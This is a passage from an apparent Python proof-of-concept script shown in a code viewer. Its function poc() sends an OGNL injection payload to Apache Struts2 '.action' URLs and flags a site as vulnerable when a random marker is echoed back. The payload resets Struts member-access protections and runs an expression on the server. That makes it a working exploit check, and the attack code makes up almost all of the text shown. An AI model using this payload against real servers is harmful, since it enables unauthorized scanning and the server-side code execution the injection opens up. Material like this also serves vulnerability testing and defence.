(url)
| 19 | |
| 20 | |
| 21 | def poc(url): |
| 22 | if '://' not in url: |
| 23 | url = 'http://' + url |
| 24 | if '?' in url: |
| 25 | url = url.split('?')[0] |
| 26 | if '.action' not in url: |
| 27 | url = redirectURL(url) |
| 28 | key = randomString() |
| 29 | payload = "?debug=browser&object=(%23mem=%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f%23context[%23parameters.rpsobj[0]].getWriter().println(%23parameters.content[0]):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=" + key |
| 30 | target = (url + payload) |
| 31 | try: |
| 32 | c = requests.get(target, headers={'User-Agent': firefox()}, timeout=5).content |
| 33 | if key in c and 'xwork2.dispatcher' not in c: |
| 34 | return url |
| 35 | except Exception, e: |
| 36 | return False |
| 37 | return False |
nothing calls this directly
no test coverage detected